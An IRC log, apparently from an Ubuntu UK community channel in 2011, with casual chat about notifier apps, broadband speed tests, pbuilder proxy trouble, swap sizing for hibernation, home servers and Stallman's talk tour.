<mungojerry> when 11.04 hits, there's gonna be a lot of users installing apps that don't work anymore :S
<davmor2> mungojerry: there is a desktop webmail app that plugs into the notifier, or when you open gmail-notify is should open an icon in the launcher that will wave at you when it wants attention
<popey> right, got failsafe x working
<screen-x> MartijnVdS: I used to use that till html5 desktop notificaitons arrive.
<screen-x> d
 * popey tries xorg crack
<mungojerry> martijnvds,  do you mean gm-notify? just trying that one...not as good as checkgmail but at least it sort of works in the messaging menu
 * popey reboots into xorg crack
<mungojerry> day off today popey?
<popey> ?
<popey> two computers :)
<czajkowski> mungojerry: popey never sleeps there is no off mode
<popey> http://bbrv.blogspot.com/2011/02/finally-199-smartbook.html
<popey> bah, no luck with xorg crack
<davmor2> mungojerry: there is a package called desktop webmail.
 * czajkowski will be looking out for a new light weither long battery netbook in a few months, Gorgamon died :( 
<davmor2> czajkowski: grab an arm one you know you want too
<czajkowski> davmor2: I do, but was told to wait...
<mungojerry> davmor2 , that sounds different though:
<mungojerry> !info desktop webmail
<lubotu3> 'webmail' is not a valid distribution: hardy, hardy-backports, hardy-proposed, jaunty, jaunty-backports, jaunty-proposed, karmic, karmic-backports, karmic-proposed, kubuntu-backports, kubuntu-experimental, kubuntu-updates, lucid, lucid-backports, lucid-proposed, maverick, maverick-backports, maverick-proposed, medibuntu, natty, natty-backports, natty-proposed, partner, stable, testing, unstable
<mungojerry> argh
<davmor2> mungojerry: it is purely there as an indicator plugin,  you can then access it using gmail notify, web browser, or the indicator opens a browser for you iirc
<mungojerry> davmor2, OK thanks, the description sounded a bit different, i'll try that too
<kazade> popey, probably worth updating the bug report to say that neither removing xorg.conf or using xorg-edgers fix it
<czajkowski> http://www.ffsuk.org.uk/rms2011/  Anyone going to the RMS talks ?
<directhex> ick
<czajkowski> directhex: well ick to you so
<mungojerry> czajkowski, i think alanbell said he had registered for the london one yesterday
<mungojerry> then ensued a discussion about his choice of OS :P
<czajkowski> mungojerry: he's going to a BCS event tonight
<shauno> dundee but no dublin/belfast.  tsk tsk tsk.
<AlanBell> czajkowski: I am going to the RMS thing
<DJones> AlanBell: You can compare beards :)
<czajkowski> shauno: it' being a UK tour :)
<czajkowski> shauno: so Dublin would definately not be on there
<mungojerry> i wonder if you ever get hecklers at these events
<ali1234> you do
<mungojerry> i wonder if the sessions will be recorded
<ali1234> it's the same lecture every time
<ali1234> must be available on ogg somewhere
<mungojerry> a lot has changed in the last year thoguh
<shauno> this UK tour seems to inclue brussels, paris and amsterdam.  the UK has grown a little since I was there last ;)
<shauno> not really complaining, just not overly mobile atm, so belfast woulda been handy
<mungojerry> maybe julian assange will be there too..then there will be some heckling
<czajkowski> shauno: on the http://www.ffsuk.org.uk/rms2011/  it lists UK locations which is what I am going by
<shauno> meh, I'll keep my mouth shut in future.
<ali1234> http://www.r-statistics.com/2010/07/richard-stallman-talkqa-at-the-user-2010-conference-audio-files-attached/
<czajkowski> shauno: no just wondered had you seen elseheere I wass only going by that site. sorry.
<mungojerry> thanks ali1234, are they wuestios from the audience?
<mungojerry> s/wuestios/questions
<ali1234> probably
<shauno> cztab; same page; it mentions belgium & co, and links to the rest of the 'european tour'.  also, belfast /is/ UK ;)
<czajkowski> shauno: ahh the  IET 'Stallman 2011' tour -
<shauno> I wouldn't have said anything if Dundee hadn't been on the list; seems an improbably entry
<pr0ph3t> hi all
<brobostigon> afternoonings everyone.
<BigRedS> g'morning!
<brobostigon> hi BigRedS
<czajkowski> shauno: he's kinda peed folks off in ireland the times he's been there.
<czajkowski> finding a location and a group to promote it I suspect would be an issue
<shauno> I think he's meant to tick people off.  he's the crazy by which we measure the extremsis of the field.
<shauno> I really can't type on this keyboard :/
<pr0ph3t> re all
<czajkowski> 12:45 < Pendulum> hey, can anyone here RT this, I don't have many followers and I'm hoping we get some good feedback http://twitter.com/#!/colona13/status/40020405666189312  :)
<czajkowski> Can folks help out please :D
<BigRedS> I love it when "help with this, click here" doesn't say what 'this' is :)
<BigRedS> Especially when it's accessibility people :)
<pr0ph3t> what's that geeky convention that sounds like "matlock" actually called?
<MartijnVdS> pr0ph3t: a bit more context?
<Pendulum> BigRedS: it's about a meeting regarding making UDS more accessible
<brobostigon> vapourlock ?
<pr0ph3t> it's about network security etc, and I think they said google was offering $10,000 to whoever managed to hack into his system
<pr0ph3t> and they were giving away their googleos laptops as well
<brobostigon> chromium os*
<pr0ph3t> it's on this video at 1:40, when Unix comes in and talks about madlocks? or something similar
<pr0ph3t> http://www.youtube.com/watch?v=PBNV50vXzEI
<pr0ph3t> it's a spoof of one of those mac vs pc videos
<ali1234> matlock is a tv show watched by old people
<pr0ph3t> but with linux, and chromium os
<ali1234> http://en.wikipedia.org/wiki/Matlock_%28TV_series%29
<pr0ph3t> ali1234, so he's talking about TV series
<ali1234> the joke is he's stuck in the 80s
<pr0ph3t> but there's that convention as well, sounds like that
<popey> hmm, why does ping sho no packet loss, but mtr does
<pr0ph3t> I think this year was in Thailand
<pr0ph3t> or last year
<shauno> the pwn2own bounty was cansecwest.  not sure that sounds like matlock tho.
<pr0ph3t> and it's Pwn2Own where Google is offering $10,000 dollars or more to hack
<pr0ph3t> shauno, it doesn't at all in fact
<mungojerry> this is a weird conversation
<mungojerry> reminds me of a conversation with my nan
<ubuntuuk-planet> [Laura Czajkowski] UDS Diversity Accessibility meeting TODAY - http://www.lczajkowski.com/2011/02/22/uds-diversity-accessibility-meeting-today/
<dogmatic69> anyone have a good program for editing text files +- 2mb
<shauno> mungojerry, indeed.  I think that video was an odd way to start it.  unix was disappointingly un-gandalf-like
<dogmatic69> gedit is fail
 * popey expects someone will say vi
<popey> or emacs
<mungojerry> vim
<popey> or nano
<popey> there you go
<mungojerry> because it works :)
<mungojerry> mtr using traceroute whicih is udp, right?
<mungojerry> sorry, forget that, my irc window decided to scroll up to an old conversation
<popey> nvm
<popey> I think its a desktop bug
<kirrus> gvim is small, nice GUI
<dogmatic69> popey: good point
 * dogmatic69 needs to learn nano better
<dogmatic69> anyhow, the issue with gedit is not the size of the file.
<mungojerry> shauno, i think that my old boss in that video
<dogmatic69> its one line that is 248212 chars long
<mungojerry> sweet
<ali1234> gedit does not like extremely long lines, it's true
<ali1234> and the crash is reproducable too
<dogmatic69> ah ok, so im not alone
<Mez> w00t :D
<Mez> Finally... we have decent internet  :D
<screen-x> whatcha got Mez?
<Mez> http://www.speedtest.net/result/1168788462.png
<screen-x> :)
<Mez> (considering we've been on < 3Mbps before hand :D
<mungojerry> i wonder what connection the speedtest is on at the other end?
<Mez> (and 512 up)
<mungojerry> in theory i have a faster link than what speedtest is telling me, but maybe speedtest upstream end is slower than mine :P
<ali1234> i doubt it
<jpds> mungojerry: Very possible.
<mungojerry> http://www.speedtest.net/result/1168793884.png
<BigRedS> yeah, it's reasonably plausible, depending upon the relative speeds
<ali1234> i think it is more likely that they have colocated boxes
<ali1234> that's probably how they make money
<BigRedS> yeah, especially at that sort of speeds
<ali1234> "if you don't buy or box your users will get slow results on our test"
<BigRedS> Ooh, that's where I went to uni
<mungojerry> bigreds :) which dept
<BigRedS> I, er, attempted Aero Eng
<BigRedS> I didn't get very far... :)
<mungojerry> it's a lovely area :P
<BigRedS> haha, they were just doing up the campus when I left, about four years ago
<BigRedS> but, yeah, the surrounding area isn't wonderful
<BigRedS> ls
<BigRedS> oop
<Mez> mungojerry: why, what speed SHOULD you hav?
<andylockran> howdy
<mungojerry> 1Gb/s on JANET , not sure about janet's links to rest of net
<BigRedS> I'd not be surprised if the speedtest server's on a (or multiple) 100mb lines, so you'll max out there anyway
<jpds> mungojerry: http://www.ja.net/company/external-connectivity.html
<mungojerry> i was thinking the same
<mungojerry> sweet
<jpds> Mez: See, some of us think 1Gbps is 'decent'. ;)
<andylockran> Mez: they're lying to you
<andylockran> Massively lying to you.
<andylockran> How DARE they.
<andylockran> Manchester Internet.. you're in Birmingham, and it says a distance of <50 miles.
<andylockran> I wish I could get from Brum to Manchester in 25ms.. that'd cut my communute nicely
<Mez> andylockran: GeoIP fail I guess..
<Mez> We're hooked up to Alpha Tower
<Mez> jpds: when you've been dealing with what we had before for 2 years...
<Mez> jpds: http://www.speedtest.net/result/1168801114.png
<MartijnVdS> http://www.speedtest.net/result/1168813104.png
<MartijnVdS> I win
<Mez> MartijnVdS: me - damned EU providers...
<Mez> Wish they'd do that in the UK
<MartijnVdS> Mez: this is at work
<MartijnVdS> Mez: I work at that ISP :)
<mungojerry> martijnvds, you didn't see my link then :P
<MartijnVdS> mungojerry: hm.. I'll have that at home by the end of the year
<MartijnVdS> mungojerry: 100/100 symmetric (fiber)
<mungojerry> i wonder what the threshold is for turning off disk caching in your browser
<MartijnVdS> mungojerry: depends on the conneciton the other side has as well
<MartijnVdS> mungojerry: also, http://www.bufferbloat.net/
<wintellect> o/
<danfish> afternoon
<davmor2> Mez: here's mine and mine's on a go slow at the minute http://www.speedtest.net/result/1168822622.png
<danfish> MartijnVdS: call that fast? Check my connection out http://www.fishms.org/1168813756.png :P
<screen-x> danfish: haha
 * MartijnVdS steals danfish's copy of GIMP
<danfish> ..and they took GIMP out of the default install - for shame!
<mungojerry> danfish, lol but still slow latency there old chap
<danfish> mungojerry: that can be changed ;)
<mungojerry> negative latency would be interesting to see
<MartijnVdS> mungojerry: packets arriving before they were sent?
<MartijnVdS> mungojerry: sounds like a job for.. the TARDIS
<screen-x> relativity..?
<danfish> mungojerry: pre-cog - google are working on it apparently
<mungojerry> pre-emptive loading supposed to work on browsers innit?
<Apacheuk> davmor2: heres mine, I have had better but its not bad http://www.speedtest.net/result/1168827953.png
<mungojerry> try selecting a host in africa instead
<BigRedS> http://www.speedtest.net/result/1168830409.png I'm told the bottleneck is the nic in my PC, though...
<mungojerry> would probably make everyone's browsers go slow
<mungojerry> in that country
<mungojerry> bigreds, that is a slow ping time..something's a bit weird
<andylockran> http://www.speedtest.net/result/1168832939.png
<mungojerry> lunch over, back 2 work for me
<andylockran> off to lunch for me :)
<screen-x> BigRedS: moar gigglebytes plz
 * DJones tickles screen-x to get more gigglebytes
 * daubers noms lunch
 * danfish cleans up the kids' nommage mess
<brobostigon> using gnome-shell ppa, gnome-shell isnt installing on natty, plenty of dependency issues.
<X3N> which ppa is that?
<brobostigon> ppa.launchpad.net/ricotz/testing/ubuntu/
<X3N> hmm might try it in a bit
<brobostigon> X3N: i would be interested to know what happens, please.
<brobostigon> X3N: incase there is something i am missing.
 * brobostigon gets more coffee
<brobostigon> afternoonings HazRPG :)
<HazRPG> brobostigon: hey dude :)
<HazRPG> hey all \o
 * brobostigon shares his crinkly salt and vineger crisps.
 * kirrus provides chocolate muffins
 * MooDoo provides the love.......
 * brobostigon gets real ale.
<MooDoo> brobostigon, realale ftw!
<screen-x> brobostigon: not sure the sun is over the yard yet..
<brobostigon> screen-x: hmm,
<brobostigon> MooDoo: old hooky, ok?
<MooDoo> brobostigon, yum
<andylockran> peppered scrambled egg on toast :)
<HazRPG> Woo! Just did my first proper blog post since last year :).
<MooDoo> HazRPG, well done
<brobostigon> MooDoo: :)
<HazRPG> a few of you guys are in it ^^
<MooDoo> HazRPG, url?
<HazRPG> http://www.hazsoft.co.uk/
<andylockran> http://www.witness.org/index.php?option=com_content&task=view&id=1107&Itemid=70 < is that working for anyone
<HazRPG> Its long...
<andylockran> I'm getting a Joomla error.
<HazRPG> andylockran: so far it isn't even loading for me...
<DJones> andylockran: This site is temporarily unavailable
<dogmatic69> not loading for me
<andylockran> ok, no worries - thanks.
<DJones> It also says please notify the system administrator ..... Is that you?
<shauno> screen-x: the sun should cross the yardarm by mid-morning.  it's nearly always acceptable for a sailor to drink :)
<HazRPG> DJones: I was helping out with some SQL stuff the other day, so I'm guessing so :P
 * brobostigon yay's, he is famous now, :)
<screen-x> shauno: I've never really understood the phrase,  I would have thought it depends on the orientation of the vessel, but I thought it was generally early evening.
<HazRPG> andylockran: anything we can help you with dude?
<HazRPG> andylockran: oh wait, it just loaded up... took some time, but its open now!
<shauno> screen-x: the yard-arm is a horizontal beam, usually the largest / tallest one. so it's just the angle of the sun over the horizon
<HazRPG> or have you just fixed it?
<popey> hmm, pbuilder-dist seems to be just kinda sat there at "Writing extended state information"
<HazRPG> MooDoo: you reading my blog?
<shauno> that site works here, but terribly slowly
<shauno> 2011-02-22 14:34:23 http://www.witness.org/index.php?option=com_content&task=view&id=1107&Itemid=70
<shauno> 2011-02-22 14:36:10 (178 KB/s) - `index.php?option=com_content&task=view&id=1107&Itemid=70' saved [92056]
<shauno> almost 2 mins for the response
<MooDoo> HazRPG, yeah in between working lol
<HazRPG> MooDoo: cool :)
<andylockran> DJones: nope, not mee
 * popey pokes aptitude
<davmor2> aptitude bites popey for poking it
<popey> trying to build a package
<popey> aptitude is sat there on Writing extended state information
<popey> doing nothing
<popey> bet its the proxy
<MartijnVdS> the poxy proxy
<davmor2> popey: possibly
<popey> bah
<popey> nope
<popey> does aptitude read etc/apt/apt.conf.d/proxy
<popey> ?
<Laney> possibly not inside a chroot
<davmor2> popey: aptitude might not but I'd of thought that apt that is doing the work would
<Laney> set http_proxy and pass -E to sudo
<popey> sudo?
<popey> I am using pbuilder-dist
<Laney> uses sudo internally
<popey> sure
<popey> but i dont have anywhere to specify -E
<Laney> sudo -E pbuilder-dist foo
<Laney> i think it warns but shouldn't stop you
<popey> it stops you
<Laney> alternatively you can pass the environment variable in sudoers using env_keep
<Laney> bah
 * brobostigon has decided his only option is to compile gnome-shell from scratch.
<andylockran> don't suppose there's a wordpress plugin to do a whois of a username on freenode, and then print which channels a user is in into their blog..
<popey> unlikely
<shauno> that doesn't sound like a job for wp to be honest.  I'd have the local client writing them out every n minutes and leaving the results somewhere php can reach
<popey> ooo, alternative option
<popey> ssh to home and do the pbuilder there
<shauno> (in my case, irssi & apache run on the same host, so I'd probably just glob my logs folder and return any that had mtime in the last n minutes)
<HazRPG> *shyface*
 * HazRPG wonders what MooDoo thinks so far
<Laney> another alternative is to pbuilder-dist foo login --save-after-login and set the proxy in there
<MooDoo> HazRPG, yeah nice post :)   what vm software are you using?
<czajkowski> AlanBell: TheOpenSourcerer http://siriusit.co.uk/blogs/22-feb-2011/open-source-system-integrators-forum
<TheOpenSourcerer> ty czajkowski i saw Mark's tweets on this yesterday.
<czajkowski> TheOpenSourcerer: just all in one place now
<HazRPG> hmm, I'm not sure if I like some of the crowd that's in the mailing list so far lol
 * HazRPG loves his irc friends more
<HazRPG> MooDoo: VirtualBox, mainly because it has support for 64-bit and works great out of the box.
<popey> aaaargh
<popey> E: Failed getting release file http://archive.ubuntu.com/ubuntu/dists/natty/Release
<HazRPG> for networking I should say*
 * popey tickles exobuzz 
<czajkowski> HazRPG: which ML ?
<HazRPG> czajkowski: the ubuntu-uk one
<exobuzz> hi
<MartijnVdS> better late than never.. Vodafone-NL starts offering EDGE
<czajkowski> HazRPG: it's usually rather polite, whats up ?
<screen-x> czajkowski: that sounds encouraging
<czajkowski> screen-x: yup :D
<exobuzz> popey, temporary glitch ?
<HazRPG> czajkowski: well yeah, I'm not saying they're bad or anything... its just some are really picky
<popey> wheee, tamed it
<popey> exobuzz: a friend was just asking me in pm about your joggler images
<screen-x> HazRPG: I like IRC because it doesnt mount up if you go away for a few days..
<popey> exobuzz: he's interested in a cut down image, maybe just the basics, and x maybe gdm+gnome too
<popey> nothing more
<HazRPG> czajkowski: I essentially got flamed the other day for my posting style, and someone in one of the threads I was reading said something about "Oh no, not more of this rubbish!" in regards to someone using the hands-in-air ascii guy (this dude: \o/)
<popey> meh, ignore that
<popey> or get a thick skin :)
<czajkowski> HazRPG: as popey said ignore it
<screen-x> \o/ smilies
<popey> i didnt see a flame, just liam being grumpy
<czajkowski> HazRPG: also just a new ML so it make take some time getting used to how things are done on it, but most of the folks on here are on there also.
 * soneill has seen popey use ascii art
<popey>  \o/
<popey>  ( )
<popey>  |'|
<soneill> lol
<screen-x> popey: --> naughty step
<popey> :)
<soneill> sorry, I mean to say I just smirked a little visibly
<HazRPG> popey: heh, trust me I do have a good knack of not letting things get me down :)
<HazRPG> czajkowski: ah, I didn't know the ML was pretty new - I thought it had been around for a while now.
<czajkowski> HazRPG: it's not
<czajkowski> HazRPG: you're new to it
<screen-x> HazRPG: your new to it
<screen-x> snap
<czajkowski> screen-x: :)
<HazRPG> oh heh
<czajkowski> 65
<czajkowski> ^5
<exobuzz> popey, he could delete gnome http://www.psychocats.net/ubuntu/purexfce ?
<exobuzz> and all the other stuff
 * HazRPG feels stupid now
<exobuzz> popey, is your friend Quinten ? just wondering heh
<HazRPG> ah it'll be fine, I'll get use to the way things are done in no time :)
<screen-x> HazRPG: :)
<ali1234> joggler isn't pinetrail right?
<HazRPG> popey: yeah I meant grumpy - couldn't think of the word at the time
<HazRPG> I've been too busy coding that my english gets thrown out of the window temporarily
 * screen-x wants a biro was readline support
<screen-x> *with
<HazRPG> brobostigon: how's the compiling gnome-shell from scratch working out for ya?
<popey> exobuzz: no, dom
<dutchie> HazRPG: it's fun!
<dwatkins> yes?
<brobostigon> HazRPG: its still installing dependencies.
<dwatkins> I'm guessing you don't really mean me, popey ;)
<popey> nope
<HazRPG> MooDoo: why the interest in what VM I was using btw?
<MooDoo> HazRPG, just being nosey :)
<HazRPG> MooDoo: ah :P
<HazRPG> MooDoo: I'm too scared to completely scrap my current server for now because I use it for so many things, and since my knowledge of ubuntu server isn't to the same level as what I know for Windows Server, it would just put a whole monkey wrench in the whole operation and harmony of things.
<exobuzz> ali1234, "Silverthorne" according to wikipedia
<ali1234> i think the intel meego tablet ux would be pretty nice on it, but it needs pinetrail
<MooDoo> HazRPG, vmware :)
<HazRPG> MooDoo: So for now it sits in a nice VM inside the server for testing and for helping migrate it later.
<MooDoo> lol
<HazRPG> I've only ever used VMware at college/uni - and well I've always thought it to be a pain sometimes
<MooDoo> ah
<screen-x> HazRPG: you run a personal windows server? What for?
<MooDoo> personal servers ftw!
<shauno> aye, but windows?
<BigRedS> but personal *windows* ones?
<BigRedS> That's a form of masochism, surely? :)
<HazRPG> screen-x: managing code, web-server, voip, print/scan server, and a few other things from time to time
<MooDoo> yeah i run windows, for backups and anything that i can't use linux for :)
<MooDoo> and as a practice server for my windows exams :)
<screen-x> HazRPG: I would find those easier to run on linux, but each to his own ;-)
<HazRPG> shauno, BigRedS: I hate to say it, but my experience and knowledge was mainly aimed towards Windows Servers and the way it does networking - because its what I was always pushed down my throat from Cisco/Uni/College/etc
<MooDoo> BigRedS, depends if you use windows or not :)
<HazRPG> heh I was training for Windows exams at one point too - but decided against it in the end
<shauno> I haven't used windows at home since it was 16bit, so that just seems otherworldly to me
<MooDoo> HazRPG, better chance of me getting a better job if i have windows server exams, even though i have the skills already
<ali1234> can't imagine using windows on a server... it's just ... how do you even supposed to get a shell?
<directhex> windows sysadminning? :/
<HazRPG> screen-x: trust me, I've been wanting to put linux on it for years... but well like I said my knowledge and experience is more aimed towards microsoft stuff... linux has always just been an operating system I've taught myself out of pure interest because I believe in the same sort of things open-source try to bring to the world
<MooDoo> ali1234, lol you don't get a shell
<directhex> ali1234, telnet in remotely!
<daubers> Just reading through the gumpf for a 10GbE switch we just recieved, looks like it's running linux
<MooDoo> well a dos prompt
<HazRPG> MooDoo: I know how you feel
<directhex> daubers, most expensive switches run one Free os or another
<ali1234> how can you do anything without a shell?
<MooDoo> ali1234, you're not serious right?
<screen-x> ali1234: <click> x alot
<MooDoo> sorry can't read peoples witt over irc :)
<screen-x> !alot
<lubotu3> Do you like to hug alot? - http://bit.ly/aVDMTo
<daubers> directhex: Makes me wonder if I can build a good enough one for less than the Â£12k this one cost
<HazRPG> don't worry guys, I do intend fully to switch over to a linux home server ;)
<daubers> sorry, missed a point
<daubers> Â£1.2k
<MooDoo> HazRPG, i won't :)
<directhex> 1.2k for 10gbe is peanuts
<HazRPG> like with anything, there's a learning curve to go through first
<HazRPG> my main issue is some hardware just don't work right in linux due to lack of support from the vendors
 * HazRPG hates his stupid printer
<directhex> and Juniper will sell you Â£12k switches happily
<directhex> if you get a discount
<ali1234> so, if you run a windows server and you want to reboot it, you have to pull up terminal services and click on start menu, or what? is that how it really is?
<MooDoo> HazRPG, yes that's right, but most products to already or at least have a work around
<MooDoo> ali1234, yup :)
<daubers> This is a toshiba
<ali1234> then i pity windows server admin
<HazRPG> ali1234: I use RDP to control my box, or sometimes VNC - depends where I am...
<MooDoo> ali1234, i'm using RDP to my windows box now, using x-chat coz i've broken my ssh vm :)
<HazRPG> MooDoo: true... but my printer is just hopeless with any workaround
<HazRPG> its an Epson Stylus DX5050 that my mum bought as a moving in gift - which at the time was great, however linux doesn't seem to like it very much
<andylockran> argh, I hate it when people in IRC channels get all high and mighty
<HazRPG> I'm yet to find a way to scan documents in linux over the network
<popey> http://foxlx.acmesystems.it/?id=158 haz <-
<screen-x> we use SANE's networking here, so that the secretaries can share scanners
<screen-x> (rest of the network isnt so sane :p )
<brobostigon> HazRPG: finally got to checking code from git.
<HazRPG> brobostigon: hurray \o/
<HazRPG> popey: hmm, I'll check that out - thanks :)
<brobostigon> HazRPG: yes, :)
<HazRPG> popey: hmm, do I need to get one of those boards to get it working or is it just the tools I need?
<screen-x> HazRPG: just a sane supported scanner
<popey> no idea
<popey> google ;)
<HazRPG> I'm sure I've tried doing something similar to this in the past :s
<screen-x> UPS just sent me an email saying there was a short power outage in 1970, I wish it could either keep time, or remember the ntp server I keep giving it..
<HazRPG> MooDoo: did you +1 my post :P?
<HazRPG> screen-x: either that, or it's really slow at tell you what's up :P
<andylockran> HazRPG: what's the url?
<screen-x> heh, we have some old kit here, but not that old...
<HazRPG> andylockran: http://www.hazsoft.co.uk/
<czajkowski> whooo we get to publish the slides from yesterdays cabinet event :D
<AlanBell> nice :)
<brobostigon> is it normal, to see a new status icon in gnome, when using jhbuild?
<HazRPG> winner :)
<andylockran> czajkowski: when they coming up?
<czajkowski> just getting them now
<czajkowski> need to put them on a server!
<shauno> I can't believe it's only 4pm.  today needs to get a move on
<andylockran> czajkowski: there's a typo in the title of the computerworld article :s
<andylockran> they've put CAbinet Office
<dogmatic69> shauno: good call
 * brobostigon gets the feeling he will need patience.
<czajkowski> andylockran: not us
<czajkowski> :)
<davmor2> brobostigon: No idea sorry
<brobostigon> davmor2: what for, ?
<davmor2> <brobostigon> is it normal, to see a new status icon in gnome, when using jhbuild?
<brobostigon> davmor2: i see, :)
<czajkowski> andylockran: site now has link to slides
<not-the-infidel> hi i have ubuntu installed and was wondering what the recommeded size of the swap space would be i have 230gb hdd -windows 7 installed first this is using 100gb -- ubuntu has 41 gb and 21gbswap 21gb extended have i gone wrong i have been told by a friend that its unnecessary and i only need a few gb is this true?many thanks.a reinstall is no problem
<not-the-infidel> few gb swap space
<not-the-infidel> ^^
<BigRedS> not-the-infidel: depends
<BigRedS> do you want to be able to hibernate?
<brobostigon> in which case you need equal swap to ram.
<BigRedS> no, swap then needs to be the size of ram + (swap in use when hibernating)
<BigRedS> perhaps double that, I'm not sure
<popey> nope
<dwatkins> Win! I got 64-bit Ubuntu to boot on my virtual server
<popey> needs to be amount of ram in use + (swap in use when hibernating)
<popey> not size of ram
<not-the-infidel> i have 3gb ram
<not-the-infidel> so three gb swap
<popey> AIUI it hibernates out only used blocks, not all blocks
<BigRedS> else, swap needs to be the difference between the memory you hve and the memory you want to use, assuming you want to use more than you have
<brobostigon> ok.
<not-the-infidel> its 21gb at the moment
<popey> 21GB swap?
<popey> heheh
<popey> sounds like the servers here :)
<not-the-infidel> lol nnnnooooooooooob
<popey> Mem:  33030808k total, 27800400k used,  5230408k free,   414512k buffers
<popey> Swap: 33554424k total, 12316828k used, 21237596k free, 12392236k cached
<popey> ^^
<BigRedS> popey: seriously? That sounds like a lot of wrong
<popey> nope, not wrong
<popey> I get this a lot
<BigRedS> haha
<not-the-infidel> so overkill then
<popey> nope
<popey> :)
<dwatkins> I remember hearing that swap should be twice RAM.
<popey> it's the right size for the apps on it
<popey> dwatkins: old advice :)
 * popey says the magic word "SAP"
<popey> SAP _eats_ memory.
<BigRedS> dwatkins: yeah, that's an old comment that someone at some point decided was actually a guideline
<screen-x> nom
<dogmatic69> anyone ran this before? "dd if=/dev/zero of=/dev/null bs=64k& sleep 10; kill -INT %1; wait %1"
<BigRedS> ahhh, I've never seen SAP IRL, I'll just sympathise :)
<not-the-infidel> whatt would your advice be to use i can reinstall if i need to
<BigRedS> not-the-infidel: do you want to be able to hibernate?
<not-the-infidel> yep i do
<not-the-infidel> BigRedS,
<BigRedS> In that case, I'd go with swap space about the size of your memory
<not-the-infidel> yes
<popey> you can resize filesystems
<not-the-infidel> so i can resize swap whilst running ubuntu
<brobostigon> from live cd, with gparted,
<not-the-infidel> i got ubuntu desktop disc
<brobostigon> install gparted onto, and resize with gparted. yes.
<not-the-infidel> ok doin
<popey> you can drop swap whilst the system is running
<popey> you dont need gparted
<popey> and then create a new smaller one
<screen-x> or use a swap file
<popey> or that
 * dwatkins is impressed with Ubuntu 10.10's installer which proceeds whilst asking user name information
<not-the-infidel> dont give me toooo many options
<popey> have you seen what it says if you leave it and dont fill the name in SWAT ?
<popey> er dwatkins
<popey> sorry SWAT
<popey> "Ready when you are"
<andylockran> :)
<dogmatic69> that was pretty cool
 * brobostigon goes back under his rock, again.
<dwatkins> popey: heh
<not-the-infidel> ok got gparted installed and running
<dwatkins> popey: I've been battling with vmware in order to get to this point - seeing the Ubuntu 64-bit CD booting was a great relief :)
<czajkowski> popey: you haz mail ;)
<screen-x> dwatkins: kvm is pretty easy if you're running a linux host
<dwatkins> screen-x: I support vmware in a sense, so am restricted
<popey> czajkowski: we're going to visit the other venue tomorrow
<shauno> dwatkins: I noticed that too dwatkins.  very nifty  (the installer doing something sensible while it waits for input)
<czajkowski> popey: cool
<not-the-infidel> i turned off swap and resizing to 6144mb do i need to any free space preceeding or folling  it?
<not-the-infidel> ^^following
<BigRedS> not-the-infidel: nope
<dwatkins> shauno: yeah, it makes perfect sense - reminds me of the days when the installer would ask loads of questions you really don't need asking
<BigRedS> it doesn't really mind where it is
<not-the-infidel> ty
<not-the-infidel> because i have the swap space so large it going to leave the remaing space following it shall i just delete and create a new one
<BigRedS> not-the-infidel: depends upon what else is on the disk, normally you'd just resize whatever's in it to fill that space
<BigRedS> though if you've no shortage of space, you might as well just leave it until some partition does fill up, and make use of it then
<not-the-infidel> ok thankjs again
<screen-x> http://code.google.com/apis/storage/ <-- anyone tried that?
<not-the-infidel> i now have two 6gb spaces how do i make this swap space again
<screen-x> not-the-infidel: 6gb gaps between partitions?
<jacobw> Hmm, does anything actually use the swap space you'd put on a modern machine following the 2*RAM rule?
<MartijnVdS> not all of it
<MartijnVdS> but maybe suspend-to-disk
<jacobw> Ah, I hadn't thought of that
<ali1234> hmm, you think you won't need swap?
<shauno> 2*ram was never a rule :/
<ali1234> that reminds me, i need to report a bug against magemagick
<exobuzz> http://kerneltrap.org/node/3202
<shauno> ignoring constants like suspend, you're meant to swap around your actual usage.  swap uses real memory.  it's not just a benign chunk of disk if you go overboard
<ali1234> "Today, 128M RAM swapless is barely enough to run full spectrum of apps. OpenOffice and Mozilla "lead" the pack, followed by KDE/Gnome etc. "
<ali1234> HAHAHAHAHA
<ali1234> i wish i could run that stuff in 128M of ram
<exobuzz> i have 64kb of ram
<shauno> I'm not sure I'd be tempted to start X in 128Mb anymore.  sad state of affairs, but there you go
<andylockran> I'm contemplating setting up an aws instance for hosting big databases.
<BigRedS> andylockran: how big? I've heard stories of them just stopping scaling
<BigRedS> though I can't remember at what sort of point
<BigRedS> but it's not acknowledged by amazon, it just stops growing
<andylockran> BigRedS: It's 30GB at the moment.
<BigRedS> andylockran: Ah, these were a fair bit bigger :)
<BigRedS> and really rather busy
<andylockran> BigRedS: Have you used AWS much then?
<brobostigon> gtk3's source is massive, :(
<MartijnVdS> brobostigon: gtk2 as well
<BigRedS> andylockran: no, but someone who rants at me occasionally does :)
<brobostigon> MartijnVdS: not good, ii reckon it will come to about 300MB, intotal. (gtk3)
<MartijnVdS> brobostigon: is that just the source, or the source + all revisions (git)
<brobostigon> MartijnVdS: git.
<jacobw> 300mb?!
<HazRPG> MooDoo: ouch, just re-reading
<HazRPG> my post and noticed typos >_<
<brobostigon> jacobw: yes.
<brobostigon> 185MB in total, i miscalcuation on my part. but still massive.
<jacobw> Yeah, I don't understand how these things balloon
<MartijnVdS> it's history upon history
<MartijnVdS> gtk is >10 years old!
<brobostigon> good point,
<HazRPG> I thought gtk3 was a rework?
<MartijnVdS> HazRPG: it's still built on the older work
<MartijnVdS> HazRPG: also, in the same git repo, so old versions (even though they might have been deleted) still exist somewhere in the repo
<HazRPG> true...
<HazRPG> brobostigon: 185MB is nothing compared to some of the projects I've downloaded over git in the past
<HazRPG> I recall ManGOS being well over that at one point
<MartijnVdS> MangyOS?
<brobostigon> HazRPG: its only a small part of gnome-shell, so its going to be massive, i am sure.
<HazRPG> MartijnVdS: no ManGOS (or mangos as people usually write it)
<HazRPG> its an open-sourced MMO server application, based originally on the WoW API's
<screen-x> "mangos" is quite an ambiguous google term ;-)
<screen-x> but it does get 2nd hit.
<HazRPG> screen-x: http://getmangos.com/
<screen-x> now I feel like eating a mango :)
<HazRPG> I originally ran it for testing at one point for an Addon I was making for WoW
<screen-x> <-- feels like eating quite frequently
<HazRPG> plus I also wanted to make an MMO so was reading through the code for general ideas for the inner workings of a client/server of that scale
<screen-x> how far did you get?
<HazRPG> well mainly got the gist of how things worked... but well I don't have the time at the moment to actually build anything
<HazRPG> I have an SVN on my home server with some tools, libraries and a template for the actual client/game engine... but that's as much as I did really
<Twinkletoes> Can anyone tell me, what is hvc0, why it keeps temrinating and respawning, and what I can do about it?
<popey> hypervisor doohdah?
<popey> console
<popey> is it a xen machine?
<screen-x> sounds xenish to me
<HazRPG> sounds like xen to me too
